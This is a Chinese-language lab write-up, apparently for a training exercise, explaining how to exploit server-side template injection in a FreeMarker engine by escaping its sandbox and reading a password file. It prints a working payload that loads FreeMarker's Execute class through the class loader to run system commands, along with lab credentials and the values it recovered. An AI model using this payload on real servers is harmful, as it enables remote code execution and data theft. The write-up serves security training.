# SSTI Lab6 這題是 Freemarker 模板引擎的 SSTI(Server-Side Template Injection),在一個有「sandbox」限制但保護不嚴謹的環境下,我們要突破限制,讀取 Carlos 主目錄下的 my_password.txt 檔案內容。 可以使用以下認證登錄自己的帳戶:`content-manager:C0nt3ntM4n4g3r` 一樣先進入網站並登入。   本題說要繞過 sandbox,那我們一樣在 [Hack tricks](https://book.hacktricks.wiki/en/pentesting-web/ssti-server-side-template-injection/index.html) 中找到有趣的東西。  這串指令可以繞過 sandbox 限制,但只能在特定版本中繞過,但我們一樣可以先試試。 ```java <p>Hurry! Only ${product.stock} left of ${product.name}.</p> <#assign classloader=product.class.protectionDomain.classLoader> <#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")> <#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)> <#assign ec=classloader.loadClass("freemarker.template.utility.Execute")> ${dwf.newInstance(ec,null)("id")} ```  顯然是可以的,所以我直接嘗試 ls 看看。  很光明正大的亮出來了,所以直接 cat 後複製,拿去送出。  ``` ltno5nf9vqayr3u844z8 ```  ``` ddvqnb3gzf3pwe0acpldujpuaeujmp60 ```  ---
×
Sign in
Email
Password
Forgot password
or
By clicking below, you agree to our
terms of service
.
Sign in via Facebook
Sign in via Twitter
Sign in via GitHub
Sign in via Dropbox
Sign in with Wallet
Wallet (
)
Connect another wallet
New to HackMD?
Sign up